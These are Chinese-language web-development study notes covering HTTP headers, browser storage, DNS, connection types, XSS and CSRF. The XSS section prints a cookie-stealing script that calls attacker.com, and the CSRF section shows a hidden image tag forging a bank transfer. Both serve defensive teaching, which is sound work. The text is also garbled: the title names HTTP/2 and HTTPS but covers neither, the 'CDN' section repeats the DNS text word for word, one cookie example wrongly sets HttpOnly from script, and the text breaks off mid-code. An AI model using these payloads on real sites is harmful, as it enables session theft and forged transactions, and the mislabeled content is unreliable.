HTTP2.0 特性,HTTPS 加密原理
以下是 HTTP 請求頭(Request Headers)和響應頭(Response Headers)中常見的字段及其含義,適用於 Web 開發、接口調試與系統集成場景。
✅ 一、常見 HTTP 請求頭(Request Headers)
| 字段名 | 説明 | 常見值示例 |
|---|---|---|
Host |
指定請求的目標主機和端口 | example.com:8080 |
User-Agent |
客户端信息(瀏覽器、操作系統、設備等) | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) |
Accept |
客户端可接受的內容類型 | text/html, application/json |
Accept-Language |
客户端偏好的語言 | zh-CN,zh;q=0.9,en;q=0.8 |
Accept-Encoding |
客户端支持的編碼方式 | gzip, deflate, br |
Connection |
是否保持連接 | keep-alive, close |
Content-Type |
請求體的媒體類型 | application/json, application/x-www-form-urlencoded |
Content-Length |
請求體的字節長度 | 123 |
Authorization |
身份認證信息(如 Token) | Bearer eyJhbGciOiJIUzI1NiIs... |
Origin |
發起請求的源(跨域時使用) | https://example.com |
Referer |
請求來源頁面 URL | https://google.com/search?q=xxx |
Cache-Control |
緩存控制策略 | no-cache, max-age=3600 |
If-Modified-Since |
條件請求:僅當資源修改後才返回 | Wed, 01 Nov 2025 10:00:00 GMT |
X-Requested-With |
標識 AJAX 請求 | XMLHttpRequest |
X-Forwarded-For |
代理服務器轉發的原始客户端 IP | 192.168.1.1, 10.0.0.1 |
✅ 二、常見 HTTP 響應頭(Response Headers)
| 字段名 | 説明 | 常見值示例 |
|---|---|---|
Content-Type |
響應體的數據類型 | application/json, text/html |
Content-Length |
響應體的字節長度 | 2048 |
Content-Encoding |
響應體使用的編碼方式 | gzip, br |
Cache-Control |
緩存策略 | public, max-age=3600 |
Expires |
資源過期時間 | Wed, 01 Nov 2025 12:00:00 GMT |
ETag |
資源的唯一標識(用於緩存驗證) | "abc123" |
Last-Modified |
資源最後修改時間 | Wed, 01 Nov 2025 10:00:00 GMT |
Location |
重定向目標地址 | https://example.com/new-path |
Set-Cookie |
設置客户端 Cookie | session_id=abc123; Path=/; HttpOnly |
Access-Control-Allow-Origin |
跨域允許的源 | https://example.com 或 * |
Access-Control-Allow-Methods |
允許的 HTTP 方法 | GET, POST, PUT |
Access-Control-Allow-Headers |
允許的自定義請求頭 | Authorization, Content-Type |
Access-Control-Max-Age |
預檢請求緩存時間(秒) | 86400 |
Server |
服務器軟件信息 | Apache/2.4.41, nginx/1.18.0 |
X-Content-Type-Options |
防止 MIME 類型嗅探 | nosniff |
X-Frame-Options |
防止點擊劫持 | DENY, SAMEORIGIN |
Strict-Transport-Security |
強制 HTTPS | max-age=31536000; includeSubDomains |
🔍 三、實用建議
- 安全性相關頭:
- 使用Content-Security-Policy(未列出但重要)防止 XSS。
- 設置X-Content-Type-Options: nosniff避免瀏覽器錯誤解析。
- 啓用Strict-Transport-Security保證 HTTPS。 - 緩存優化:
- 使用ETag+If-None-Match實現高效緩存驗證。
- 靜態資源設置Cache-Control: public, max-age=31536000。 - 跨域處理(CORS):
- 後端需返回Access-Control-Allow-Origin等頭,允許前端跨域訪問。 - 調試工具推薦:
- 瀏覽器開發者工具(Network 面板)
- Postman / Insomnia
- curl 命令查看頭信息:
`bash
curl -v -H "Authorization: Bearer xxx" https://api.example.com/data
`
本地緩存方式及區別:cookie & localStorage & sessionStorage && indexDB
以下是 cookie、localStorage、sessionStorage 和 IndexedDB 四種本地緩存方式的詳細對比,包括它們的存儲機制、使用場景、生命週期、大小限制、安全性與性能差異等,幫助你根據實際需求選擇合適的本地存儲方案。
✅ 一、核心對比表
| 特性 | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| 存儲類型 | 鍵值對(字符串) | 鍵值對(字符串) | 鍵值對(字符串) | 鍵值對(支持結構化數據) |
| 存儲大小 | ~4KB | ~5-10MB(不同瀏覽器略有差異) | ~5-10MB | ~50MB~2GB(視瀏覽器而定) |
| 生命週期 | 可設置過期時間(可持久化) | 永久存儲,除非手動清除 | 會話級別,關閉瀏覽器即清除 | 永久存儲,除非手動清除 |
| 是否隨請求發送 | ✅ 是(自動攜帶到服務器) | ❌ 否 | ❌ 否 | ❌ 否 |
| 跨域支持 | ❌ 不支持(同源策略) | ❌ 不支持 | ❌ 不支持 | ❌ 不支持 |
| 數據類型支持 | 字符串 | 字符串(需手動 JSON.stringify) |
字符串 | 支持對象、數組、Blob、File 等結構化數據 |
| API 簡潔性 | document.cookie(較複雜) |
.getItem() / .setItem() |
.getItem() / .setItem() |
異步 API(需事務) |
| 安全性 | ✅ 可設置 HttpOnly、Secure、SameSite |
❌ 無安全控制(易 XSS 攻擊) | ❌ 無安全控制(易 XSS 攻擊) | ❌ 無內置安全機制 |
| 適用場景 | 用户登錄憑證、會話跟蹤、埋點 | 配置項、用户偏好、緩存頁面狀態 | 臨時數據(如表單填寫、臨時會話) | 大量數據、離線應用、複雜數據結構 |
✅ 二、詳細説明
1. Cookie
- 特點:
- 自動隨 HTTP 請求發送到服務器(Cookie頭)。
- 可設置Expires、Max-Age控制過期時間。
- 支持HttpOnly(防止 XSS 讀取)、Secure(僅 HTTPS 傳輸)、SameSite(防 CSRF)。 - 優點:
- 服務端可讀寫,適合身份認證、會話管理。 - 缺點:
- 每次請求都攜帶,增加帶寬開銷。
- 單個 cookie 限制 4KB,多個 cookie 會顯著影響性能。 - 適用場景:
- 登錄狀態(如 JWT token 存於 cookie + HttpOnly)。
- A/B 測試、用户行為追蹤(埋點)。
- 需要服務端參與的會話管理。
2. localStorage
- 特點:
- 永久存儲,除非手動清除(如localStorage.clear())。
- 同源下所有窗口/標籤頁共享。
- 數據以字符串形式存儲,需手動JSON.stringify/parse。 - 優點:
- 存儲容量大,適合緩存用户配置、頁面狀態。
- 與服務器無關,不隨請求發送。 - 缺點:
- 同步 API,大量操作可能阻塞主線程。
- 無過期機制,需手動管理生命週期。 - 適用場景:
- 用户偏好設置(如主題、語言)。
- 緩存 API 返回的靜態數據(如城市列表)。
- 離線狀態下保存用户輸入。
3. sessionStorage
- 特點:
- 僅在當前會話有效,關閉標籤頁或窗口後清除。
- 同源下同窗口共享。
- 與localStorage用法相同,但生命週期更短。 - 優點:
- 自動清理,避免數據堆積。 - 缺點:
- 無法跨標籤頁共享數據(如多個 tab 間不能同步)。 - 適用場景:
- 表單臨時填寫內容(防止刷新丟失)。
- 臨時交互狀態(如購物車臨時保存)。
- 一次性任務狀態(如驗證碼校驗)。
4. IndexedDB
- 特點:
- 瀏覽器內置的客户端數據庫,支持事務、索引、異步操作。
- 支持存儲複雜數據(對象、數組、文件、Blob)。
- 存儲容量大(通常幾十 MB 到 GB 級別)。 - 優點:
- 支持複雜查詢(通過索引)。
- 異步操作,不阻塞 UI。
- 適合離線應用(如 PWA)。 - 缺點:
- API 複雜,學習成本高。
- 不支持同步操作。 - 適用場景:
- 離線應用(如筆記 App、待辦事項)。
- 大量數據緩存(如圖片、視頻、地圖數據)。
- 需要索引和查詢功能的數據(如用户日誌、本地數據庫)。
✅ 三、如何選擇?
| 需求 | 推薦方案 |
|---|---|
| 用户登錄狀態(需服務端驗證) | cookie + HttpOnly |
| 保存用户偏好設置 | localStorage |
| 臨時表單數據、會話狀態 | sessionStorage |
| 離線應用、大量結構化數據 | IndexedDB |
| 既要服務端訪問又要本地緩存 | cookie + localStorage 搭配使用 |
✅ 四、代碼示例
1. Cookie 操作(JavaScript)
// 設置 cookie
document.cookie = "username=alice; expires=Fri, 31 Dec 2025 23:59:59 GMT; path=/; HttpOnly";
// 讀取 cookie(需手動解析)
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
// 刪除 cookie
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
2. localStorage 操作
// 存儲
localStorage.setItem('theme', 'dark');
localStorage.setItem('user', JSON.stringify({ name: 'Alice', age: 25 }));
// 讀取
const theme = localStorage.getItem('theme');
const user = JSON.parse(localStorage.getItem('user'));
// 刪除
localStorage.removeItem('theme');
localStorage.clear();
3. sessionStorage 操作
sessionStorage.setItem('tempData', 'form-filled');
const data = sessionStorage.getItem('tempData');
sessionStorage.removeItem('tempData');
4. IndexedDB 操作(簡化版)
// 打開數據庫
const request = indexedDB.open('MyAppDB', 1);
request.onsuccess = () => {
const db = request.result;
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
// 插入數據
store.add({ id: 1, name: 'Alice' });
// 查詢數據
const getReq = store.get(1);
getReq.onsuccess = () => console.log(getReq.result);
};
request.onerror = () => console.error('DB error:', request.error);
✅ 五、總結建議
| 方案 | 何時用 | 何時避免 |
|---|---|---|
| Cookie | 需要服務端訪問的會話、登錄憑證 | 存儲大量數據或頻繁請求 |
| localStorage | 持久化用户偏好、緩存靜態數據 | 存儲敏感信息(易 XSS) |
| sessionStorage | 臨時表單、會話狀態 | 需要跨標籤頁共享 |
| IndexedDB | 離線應用、大量結構化數據、複雜查詢 | 小型項目、簡單數據 |
💡 安全提醒:
- 不要在 localStorage/sessionStorage 中存儲密碼、token 等敏感信息(易受 XSS 攻擊)。
- 如需存儲敏感數據,應使用
HttpOnlyCookie + HTTPS 傳輸。
DNS 解析過程
DNS(Domain Name System,域名系統)解析是將人類可讀的域名(如 www.example.com)轉換為計算機可識別的 IP 地址(如 93.184.216.34)的過程。這個過程是互聯網通信的基礎之一。
以下是 DNS 解析的完整過程,以訪問 www.example.com 為例:
🔍 DNS 解析全過程詳解
1. 用户輸入域名
用户在瀏覽器中輸入:https://www.example.com
瀏覽器首先檢查本地緩存(瀏覽器緩存、操作系統緩存)中是否有 www.example.com 對應的 IP 地址。
- ✅ 如果有 → 直接使用,結束。
- ❌ 如果沒有 → 進入下一步。
2. 查詢本地 DNS 緩存(Hosts 文件)
操作系統會檢查本地的 hosts 文件(如 /etc/hosts)中是否有該域名的映射。
- 例如:
127.0.0.1 www.example.com - 若有 → 使用該 IP,結束。
- 若無 → 繼續。
3. 向本地 DNS 服務器發起查詢(遞歸查詢)
操作系統會向配置的本地 DNS 服務器(通常由 ISP 提供,如 114.114.114.114、8.8.8.8)發送 DNS 查詢請求。
- 這是一個 遞歸查詢:本地 DNS 服務器負責幫用户完成整個解析過程,返回最終結果。
4. 本地 DNS 服務器開始遞歸解析(可能緩存命中)
本地 DNS 服務器首先檢查自身緩存中是否有該域名的記錄:
- ✅ 有且未過期 → 返回結果,結束。
- ❌ 無或已過期 → 開始遞歸查找。
5. 根域名服務器(Root DNS Server)
本地 DNS 向根域名服務器查詢(共 13 組根服務器,如 a.root-servers.net)。
- 查詢:
www.example.com的.com頂級域名服務器是誰? - 根服務器返回:負責
.com的頂級域名服務器(TLD Server)的地址列表。
6. 頂級域名服務器(TLD Server)
本地 DNS 向 .com 的 TLD 服務器查詢:
- 查詢:
example.com的權威域名服務器(Authoritative Name Server)是誰? - TLD 服務器返回:
example.com的權威 DNS 服務器地址(如 ns1.example.com, ns2.example.com)。
7. 權威域名服務器(Authoritative DNS Server)
本地 DNS 向 example.com 的權威 DNS 服務器查詢:
- 查詢:
www.example.com的 IP 地址是多少? - 權威服務器返回:
www.example.com的 A 記錄(IPv4)或 AAAA 記錄(IPv6),例如:93.184.216.34
8. 返回結果並緩存
本地 DNS 將結果返回給用户的設備,並緩存該結果一段時間(TTL 時間內)。
- 用户瀏覽器獲得 IP 地址,開始建立 TCP 連接,請求網頁內容。
📊 總結:DNS 解析流程圖
用户 → 瀏覽器緩存 → 操作系統緩存 → hosts → 本地DNS(遞歸查詢)
↓
根服務器(.) → 返回 .com TLD 服務器
↓
TLD 服務器(.com) → 返回 example.com 權威服務器
↓
權威服務器(example.com) → 返回 IP 地址
↓
本地DNS 緩存 → 返回用户 → 瀏覽器訪問
🛠️ 補充説明
| 類型 | 作用 |
|---|---|
| 根域名服務器 | 知道所有頂級域(.com, .org, .cn)的權威服務器地址 |
| TLD 服務器 | 管理某個頂級域(如 .com)下的所有域名的權威服務器信息 |
| 權威域名服務器 | 存儲某個域名(如 example.com)的實際 DNS 記錄(A、CNAME、MX 等) |
| 本地 DNS 服務器 | 通常是 ISP 提供,負責遞歸解析,提高查詢效率 |
🧪 實際命令行驗證
你可以使用以下命令查看 DNS 解析過程:
# 查看域名的 A 記錄
dig www.example.com
# 查看詳細解析路徑(遞歸查詢)
dig +trace www.example.com
輸出會展示從根服務器到權威服務器的完整解析路徑。
✅ 小貼士
- TTL(Time To Live):DNS 記錄在緩存中的有效時間,單位秒。越小越實時,越大越高效。
- DNS 污染/劫持:某些網絡可能偽造 DNS 響應,導致訪問錯誤網站,建議使用可信 DNS(如 114.114.114.114、8.8.8.8)。
- CDN 加速:DNS 解析還可能結合 CDN,返回離用户最近的節點 IP。
CDN 原理
DNS(Domain Name System,域名系統)解析是將人類可讀的域名(如 www.example.com)轉換為計算機可識別的 IP 地址(如 93.184.216.34)的過程。這個過程是互聯網通信的基礎之一。
以下是 DNS 解析的完整過程,以訪問 www.example.com 為例:
🔍 DNS 解析全過程詳解
1. 用户輸入域名
用户在瀏覽器中輸入:https://www.example.com
瀏覽器首先檢查本地緩存(瀏覽器緩存、操作系統緩存)中是否有 www.example.com 對應的 IP 地址。
- ✅ 如果有 → 直接使用,結束。
- ❌ 如果沒有 → 進入下一步。
2. 查詢本地 DNS 緩存(Hosts 文件)
操作系統會檢查本地的 hosts 文件(如 /etc/hosts)中是否有該域名的映射。
- 例如:
127.0.0.1 www.example.com - 若有 → 使用該 IP,結束。
- 若無 → 繼續。
3. 向本地 DNS 服務器發起查詢(遞歸查詢)
操作系統會向配置的本地 DNS 服務器(通常由 ISP 提供,如 114.114.114.114、8.8.8.8)發送 DNS 查詢請求。
- 這是一個 遞歸查詢:本地 DNS 服務器負責幫用户完成整個解析過程,返回最終結果。
4. 本地 DNS 服務器開始遞歸解析(可能緩存命中)
本地 DNS 服務器首先檢查自身緩存中是否有該域名的記錄:
- ✅ 有且未過期 → 返回結果,結束。
- ❌ 無或已過期 → 開始遞歸查找。
5. 根域名服務器(Root DNS Server)
本地 DNS 向根域名服務器查詢(共 13 組根服務器,如 a.root-servers.net)。
- 查詢:
www.example.com的.com頂級域名服務器是誰? - 根服務器返回:負責
.com的頂級域名服務器(TLD Server)的地址列表。
6. 頂級域名服務器(TLD Server)
本地 DNS 向 .com 的 TLD 服務器查詢:
- 查詢:
example.com的權威域名服務器(Authoritative Name Server)是誰? - TLD 服務器返回:
example.com的權威 DNS 服務器地址(如 ns1.example.com, ns2.example.com)。
7. 權威域名服務器(Authoritative DNS Server)
本地 DNS 向 example.com 的權威 DNS 服務器查詢:
- 查詢:
www.example.com的 IP 地址是多少? - 權威服務器返回:
www.example.com的 A 記錄(IPv4)或 AAAA 記錄(IPv6),例如:93.184.216.34
8. 返回結果並緩存
本地 DNS 將結果返回給用户的設備,並緩存該結果一段時間(TTL 時間內)。
- 用户瀏覽器獲得 IP 地址,開始建立 TCP 連接,請求網頁內容。
📊 總結:DNS 解析流程圖
用户 → 瀏覽器緩存 → 操作系統緩存 → hosts → 本地DNS(遞歸查詢)
↓
根服務器(.) → 返回 .com TLD 服務器
↓
TLD 服務器(.com) → 返回 example.com 權威服務器
↓
權威服務器(example.com) → 返回 IP 地址
↓
本地DNS 緩存 → 返回用户 → 瀏覽器訪問
🛠️ 補充説明
| 類型 | 作用 |
|---|---|
| 根域名服務器 | 知道所有頂級域(.com, .org, .cn)的權威服務器地址 |
| TLD 服務器 | 管理某個頂級域(如 .com)下的所有域名的權威服務器信息 |
| 權威域名服務器 | 存儲某個域名(如 example.com)的實際 DNS 記錄(A、CNAME、MX 等) |
| 本地 DNS 服務器 | 通常是 ISP 提供,負責遞歸解析,提高查詢效率 |
🧪 實際命令行驗證
你可以使用以下命令查看 DNS 解析過程:
# 查看域名的 A 記錄
dig www.example.com
# 查看詳細解析路徑(遞歸查詢)
dig +trace www.example.com
輸出會展示從根服務器到權威服務器的完整解析路徑。
✅ 小貼士
- TTL(Time To Live):DNS 記錄在緩存中的有效時間,單位秒。越小越實時,越大越高效。
- DNS 污染/劫持:某些網絡可能偽造 DNS 響應,導致訪問錯誤網站,建議使用可信 DNS(如 114.114.114.114、8.8.8.8)。
- CDN 加速:DNS 解析還可能結合 CDN,返回離用户最近的節點 IP。
長連接和短連接的區別及應用場景
長連接和短連接是網絡通信中兩種常見的連接方式,它們在建立、維持和斷開連接的方式上有顯著區別,適用於不同的應用場景。
一、基本定義
| 項目 | 短連接(Short-lived Connection) | 長連接(Long-lived Connection) |
|---|---|---|
| 連接生命週期 | 每次請求/響應後即斷開 | 保持連接,可複用多次通信 |
| 建立開銷 | 每次都需要三次握手建立連接 | 只需一次建立,後續複用 |
| 資源佔用 | 較低(連接短暫) | 較高(需維持連接狀態) |
| 適用場景 | 一次性請求,低頻通信 | 頻繁通信,實時性要求高 |
二、核心區別對比
| 維度 | 短連接 | 長連接 |
|---|---|---|
| 連接建立 | 每次通信前建立 TCP 連接 | 建立一次後長期保持 |
| 連接關閉 | 通信完成後立即關閉 | 由客户端或服務端主動關閉或超時斷開 |
| 性能開銷 | 高(頻繁握手/揮手) | 低(複用連接) |
| 延遲 | 每次都有連接建立延遲 | 無額外連接延遲 |
| 併發能力 | 適合低併發、低頻率場景 | 適合高併發、高頻場景 |
| 資源消耗 | 低(連接短) | 高(連接長期佔用) |
三、典型應用場景
✅ 短連接適用場景:
- HTTP 請求(如普通網頁訪問)
- 瀏覽器訪問一個網頁,獲取 HTML、CSS、JS 等資源。
- 每個資源請求獨立完成,請求完就關閉連接。 - API 接口調用(非實時)
- 如用户登錄、獲取用户信息等一次性操作。 - 低頻數據傳輸
- 比如定時任務上報數據(每小時一次)。 - 客户端資源有限的設備
- 如嵌入式設備、IoT 設備,內存和連接數受限。
📌 優點:節省服務器資源,實現簡單
⚠️ 缺點:頻繁建立連接帶來性能損耗,不適合實時通信
✅ 長連接適用場景:
- 即時通訊(IM)系統
- 微信、QQ、企業微信等,需要實時收發消息。
- 保持連接,消息一到即推送。 - WebSocket 應用
- 實時聊天室、在線遊戲、股票行情推送等。
- 使用 WebSocket 協議實現全雙工通信。 - 物聯網(IoT)設備監控
- 智能設備持續上報狀態,服務端可主動下發指令。 - 實時數據推送系統
- 如直播彈幕、實時日誌監控、車聯網數據傳輸。 - 數據庫連接池中的連接
- 雖然不是網絡層長連接,但“連接複用”思想類似。
📌 優點:低延遲、高效率、支持雙向通信
⚠️ 缺點:服務器需維護大量連接,資源消耗大,需心跳機制保活
四、技術實現要點
| 技術 | 是否支持長連接 | 説明 |
|---|---|---|
| HTTP/1.0 | ❌ 不支持(默認短連接) | 每次請求都新建連接 |
| HTTP/1.1 | ✅ 支持(默認 Keep-Alive) | 可通過 Connection: keep-alive 複用 |
| HTTP/2 | ✅ 強支持 | 多路複用,一個連接可併發多個請求 |
| WebSocket | ✅ 強支持 | 基於 TCP 的全雙工長連接 |
| MQTT | ✅ 強支持 | 專為物聯網設計的輕量級長連接協議 |
五、總結對比表
| 特性 | 短連接 | 長連接 |
|---|---|---|
| 是否複用連接 | 否 | 是 |
| 是否適合高頻通信 | 否 | 是 |
| 是否支持實時推送 | 否(需輪詢) | 是 |
| 是否適合移動設備 | ✅(節省電量) | ⚠️(耗電多) |
| 是否適合高併發服務 | ⚠️(連接數爆炸) | ✅(配合連接池) |
| 是否需要心跳機制 | 否 | 是(防止超時斷開) |
六、選型建議
| 場景 | 推薦方式 |
|---|---|
| 靜態網頁訪問、API 調用 | 短連接(HTTP/1.1 Keep-Alive) |
| 實時聊天、消息推送 | 長連接(WebSocket/MQTT) |
| 高頻數據上報(如傳感器) | 長連接(帶心跳) |
| 低頻、一次性請求 | 短連接 |
| 高併發、低延遲場景 | 長連接 + 連接池 + 心跳保活 |
附:簡單代碼示例(WebSocket 長連接)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/main/java/com/pingan/paas/websocket/WebSocketHandler.java"]
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.IOException;
import java.util.concurrent.CopyOnWriteArraySet;
@ServerEndpoint("/websocket")
public class WebSocketHandler {
private static final CopyOnWriteArraySet<Session> sessions = new CopyOnWriteArraySet<>();
@OnOpen
public void onOpen(Session session) {
sessions.add(session);
System.out.println("新連接建立: " + session.getId());
}
@OnClose
public void onClose(Session session) {
sessions.remove(session);
System.out.println("連接關閉: " + session.getId());
}
@OnMessage
public void onMessage(String message, Session session) {
System.out.println("收到消息: " + message);
// 廣播給所有客户端
sessions.forEach(s -> {
try {
s.getBasicRemote().sendText("Echo: " + message);
} catch (IOException e) {
e.printStackTrace();
}
});
}
@OnError
public void onError(Session session, Throwable error) {
System.err.println("WebSocket 錯誤: " + error.getMessage());
}
}
✅ 該代碼實現了一個簡單的 WebSocket 長連接服務,適用於實時通信場景。
常見XSS ,及防禦機制
跨站腳本攻擊(XSS, Cross-Site Scripting)是Web安全中常見的漏洞之一,攻擊者通過在網頁中注入惡意腳本,使得其他用户在瀏覽頁面時執行這些腳本,從而竊取用户信息、劫持會話、篡改頁面內容等。
一、常見的 XSS 類型
1. 反射型 XSS(Reflected XSS)
- 特點:惡意腳本作為請求參數傳入服務器,服務器將該腳本直接返回給客户端並執行。
- 觸發方式:用户點擊一個包含惡意腳本的鏈接(如
?search=<script>alert(1)</script>)。 - 示例:
`html
<h1>搜索結果:${param.search}</h1>
`
若用户訪問:
`
http://example.com/search?search=<script>alert(1)</script>
`
頁面會輸出該腳本並執行。
✅ 典型場景:搜索框、錯誤提示、重定向URL等。
2. 存儲型 XSS(Stored XSS)
- 特點:惡意腳本被持久化存儲在服務器(如數據庫、文件系統),每次用户訪問相關頁面時都會被加載並執行。
- 觸發方式:用户提交含有惡意腳本的內容(如評論、用户名、個人簡介)。
- 示例:
`html
<div class="comment">${comment.content}</div>
`
若數據庫中存儲了:
`html
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
`
所有訪問該評論頁的用户都會執行此腳本。
✅ 典型場景:用户評論、論壇發帖、個人資料頁、留言本。
3. DOM 型 XSS(DOM-based XSS)
- 特點:惡意腳本的執行發生在客户端(瀏覽器端),不經過服務器,僅由DOM操作導致。
- 觸發方式:通過修改頁面的DOM結構(如
location.hash,document.URL)注入腳本。 - 示例:
`javascript
document.getElementById("result").innerHTML = location.hash.substring(1);
`
訪問:
`
http://example.com/page#<script>alert(1)</script>
`
頁面會將 hash 中的內容直接插入 DOM,導致腳本執行。
✅ 典型場景:前端路由、動態內容渲染、eval()、innerHTML操作。
二、XSS 防禦機制
✅ 1. 輸入驗證與過濾(Input Validation & Sanitization)
- 原則:對所有用户輸入進行校驗,只允許合法字符。
- 方法:
- 白名單過濾:只允許特定字符(如字母、數字、中文)。
- 使用安全庫進行HTML標籤過濾(如DOMPurify、OWASP Java Encoder)。
❌ 錯誤做法:簡單替換<→<(不夠,可能繞過)。
✅ 2. 輸出編碼(Output Encoding)
- 核心思想:將用户輸入的內容在輸出到頁面前進行編碼,使其無法被瀏覽器解釋為代碼。
- 常見編碼方式:
| 類型 | 編碼規則 |
|------|---------|
| HTML 編碼 |<→<,>→>,"→",'→',&→&|
| JavaScript 編碼 | 使用JSON.stringify()或encodeURIComponent|
| URL 編碼 | 使用URLEncoder.encode()或encodeURIComponent|
✅ 推薦使用成熟的編碼庫,避免手動編碼。
✅ 3. 使用安全的 API 替代危險操作
- 避免使用危險的 DOM 操作:
`js
// ❌ 危險:innerHTML 直接插入
element.innerHTML = userInput;
// ✅ 安全:使用 textContent
element.textContent = userInput;
// ✅ 安全:使用 document.createElement + textContent
const div = document.createElement('div');
div.textContent = userInput;
container.appendChild(div);
`
- 避免使用
eval()、new Function()。
✅ 4. 設置 HTTP 安全頭(Security Headers)
Content-Security-Policy (CSP):最有效的防禦手段之一。
`http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';
`
-default-src 'self':默認只允許加載同源資源。
-script-src 'self':只允許加載同源的 JS 腳本。
-object-src 'none':禁止嵌入<object>、<embed>等。
-frame-ancestors 'none':防止被嵌入 iframe(防點擊劫持)。
✅ 可以有效阻止內聯腳本和外部腳本執行。
✅ 5. 使用框架自帶的安全機制
- 現代框架已內置防護:
- React:自動轉義 JSX 中的變量({userInput}會自動編碼)。
- Vue:默認使用textContent,但v-html需謹慎使用。
- Angular:自動 HTML 轉義,[innerHTML]需顯式標記。
✅ 優先使用框架的安全默認值。
✅ 6. 輸入長度限制與敏感詞過濾
- 對用户輸入設置合理長度限制(如用户名、評論長度)。
- 過濾常見惡意關鍵詞(如
script,eval,onload等),但不能依賴此作為唯一手段。
三、防禦總結表
| 防禦措施 | 是否推薦 | 説明 |
|---|---|---|
| 輸入驗證(白名單) | ✅ | 基礎防線 |
| 輸出編碼(HTML/JS/URL) | ✅✅✅ | 核心防護 |
使用 textContent 替代 innerHTML |
✅✅✅ | 前端關鍵 |
| 設置 CSP 頭 | ✅✅✅ | 最強防禦 |
| 框架安全機制 | ✅✅ | 優先使用 |
| 過濾敏感詞 | ⚠️ | 輔助手段,不可依賴 |
四、實戰建議(代碼示例)
✅ 安全輸出示例(Java + JSP)
<!-- 使用 OWASP Java Encoder -->
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ page import="org.owasp.encoder.Encode" %>
<h1>搜索結果:${Encode.forHtml(param.search)}</h1>
✅ 安全輸出示例(JavaScript + DOM)
// ✅ 安全寫法
function renderComment(content) {
const div = document.createElement('div');
div.textContent = content; // 自動轉義
document.getElementById('comments').appendChild(div);
}
// ❌ 危險寫法
// document.getElementById('comments').innerHTML = content;
✅ 安全輸出示例(前端框架 Vue)
<!-- ✅ 安全:默認轉義 -->
<div>{{ userComment }}</div>
<!-- ⚠️ 警惕:需顯式使用 v-html -->
<div v-html="userComment"></div>
五、總結
XSS 的核心是“信任用户輸入”。
防禦原則:輸入時驗證,輸出時編碼,操作時安全,配置時加固。
✅ 最佳實踐:
- 所有用户輸入都視為不可信。
- 輸出前強制編碼。
- 使用 CSP 限制腳本執行。
- 優先使用安全的 API 和框架。
講述 CSRF 攻擊過程,及如何防禦
CSRF(Cross-Site Request Forgery,跨站請求偽造)是一種常見的 Web 安全漏洞,攻擊者利用用户已登錄的身份,在用户不知情的情況下,誘使用户瀏覽器向目標網站發送惡意請求,從而執行非預期的操作(如轉賬、修改密碼等)。
一、CSRF 攻擊過程詳解
1. 攻擊前提
- 用户已登錄目標網站(如銀行系統
https://bank.com),且瀏覽器保存了登錄態(如 Cookie)。 - 用户訪問了惡意網站(如
http://evil.com)。 - 目標網站未對請求來源進行有效校驗。
2. 攻擊流程示例
1. 用户登錄銀行網站(bank.com),瀏覽器保存了 session cookie。
2. 用户訪問惡意網站 evil.com,該網站包含如下 HTML:
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0" />
3. 瀏覽器自動向 bank.com 發送請求,攜帶了用户的 cookie。
4. bank.com 接收到請求,認為是合法用户發起的轉賬請求。
5. 轉賬成功,資金被轉到攻擊者賬户。
💡 注意:攻擊者無需獲取用户的密碼或 Cookie,僅需誘導用户訪問惡意頁面並觸發請求。
二、CSRF 攻擊的典型場景
| 場景 | 説明 |
|---|---|
| 圖片標籤偽造請求 | <img src="https://bank.com/transfer?..."> |
| 表單自動提交 | <form action="https://bank.com/transfer" method="POST"> |
| JavaScript 發起請求 | fetch("https://bank.com/transfer", {method: 'POST'}) |
| 鏈接誘導點擊 | https://bank.com/transfer?to=xxx |
三、防禦 CSRF 的核心策略
✅ 1. 使用 CSRF Token(推薦)
原理:
- 服務器生成一個隨機的、與用户會話綁定的 Token。
- 每個表單或請求都必須攜帶該 Token。
- 服務器校驗 Token 是否合法且未重複使用。
實現示例(Java + Spring Boot)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/main/java/com/paas/plus/web/controller/TransferController.java"]
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.util.UUID;
@Controller
public class TransferController {
@GetMapping("/transfer")
public ModelAndView showTransferForm(HttpServletRequest request) {
HttpSession session = request.getSession();
String csrfToken = UUID.randomUUID().toString();
session.setAttribute("csrfToken", csrfToken);
ModelAndView mav = new ModelAndView("transfer");
mav.addObject("csrfToken", csrfToken);
return mav;
}
@PostMapping("/transfer")
public String transfer(@RequestParam String to, @RequestParam double amount,
@RequestParam String csrfToken, HttpServletRequest request) {
HttpSession session = request.getSession();
String sessionToken = (String) session.getAttribute("csrfToken");
if (csrfToken == null || !csrfToken.equals(sessionToken)) {
throw new RuntimeException("CSRF token invalid");
}
// 執行轉賬邏輯
System.out.println("轉賬成功:向 " + to + " 轉賬 " + amount + " 元");
return "success";
}
}
前端表單示例(Thymeleaf):
<!-- [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/main/resources/templates/transfer.html"] -->
<form action="/transfer" method="post">
<input type="hidden" name="csrfToken" value="${csrfToken}" />
轉賬給:<input type="text" name="to" /><br/>
金額:<input type="number" name="amount" /><br/>
<button type="submit">轉賬</button>
</form>
🔐 優點:有效防止跨站請求偽造,是目前最推薦的方式。
✅ 2. SameSite Cookie 屬性(現代瀏覽器支持)
設置 Cookie 時添加 SameSite 屬性,限制 Cookie 在跨站請求中是否發送。
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/main/java/com/paas/plus/web/config/CookieConfig.java"]
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
